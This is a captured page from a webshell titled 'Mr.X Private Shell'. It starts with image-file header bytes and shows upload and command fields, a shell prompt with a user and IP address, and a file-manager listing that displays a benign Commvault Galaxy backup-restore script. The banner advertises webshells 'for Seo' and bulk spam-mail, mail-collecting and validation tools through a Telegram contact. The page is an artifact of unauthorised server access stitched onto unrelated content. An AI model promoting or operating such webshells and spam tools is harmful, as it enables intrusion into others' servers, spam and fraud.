����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
#
# restore data with Galaxy
#

# verify that we have a backupset
[ "$GALAXY10_BACKUPSET" ]
StopIfError "Galaxy Backup Set not defined [GALAXY10_BACKUPSET=]."

# create argument file

cat <<EOF >$TMP_DIR/galaxy.restore.options
$(test -r "$GALAXY10_Q_ARGUMENTFILE" && cat "$GALAXY10_Q_ARGUMENTFILE")
[sourceclient]
$HOSTNAME
[level]
1
[options]
QR_PRESERVE_LEVEL
QR_DO_NOT_OVERWRITE_FILE_ON_DISK
$GALAXY10_PIT
[dataagent]
Q_LINUX_FS
[backupset]
$GALAXY10_BACKUPSET
[sourcepaths]
/
[destinationpath]
$TARGET_FS_ROOT
EOF

if [ "x$GALAXY10_ZEIT" != "x" ]; then
cat <<EOF >>$TMP_DIR/galaxy.restore.options
[browseto]
$GALAXY10_ZEIT
EOF
fi

# initialize variable
jobstatus=Unknown

if jobid=$(qoperation restore -af $TMP_DIR/galaxy.restore.options) ; then
	jobid=${jobid// /}	# remove trailing blanks
	LogPrint "Restoring data with Galaxy (job $jobid)"
	while true ; do
		# output of qlist job -co s -j ## :
		# STATUS
		# ------
		# Pending
		# the array gets rid of the line breaks :-)

		jobdetails=( $(qlist job -co s -j $jobid) )
		StopIfError "Could not receive job details. Check log file."

		jobstatus="${jobdetails[2]}"

		# stop waiting if the job reached a final status
		case "$jobstatus" in
			?omplet*)
				echo
				LogPrint "Restore completed successfully."
				break
				;;
			?uspend*|*end*|?unn*|?ait*)
				printf "\r%-79s" "$(date +"%Y-%m-%d %H:%M:%S") job is $jobstatus"
				;;
			?ail*|?ill*)
				echo
				Error "Restore job failed or was killed, aborting recovery."
				;;
			*)
				echo
				Error "Restore job has an unknown state [$jobstatus], aborting."
				;;
		esac
		sleep 10
	done

else
	Error "Could not start Galaxy restore job. Check log file."
fi

# create missing directories
pushd $TARGET_FS_ROOT >/dev/null
for dir in opt/simpana/Base/Temp opt/simpana/Updates opt/simpana/iDataAgent/jobResults ; do
	mkdir -p "$dir"
done
popd >/dev/null

Filemanager

Name Type Size Permission Actions
400_restore_with_galaxy.sh File 1.82 KB 0644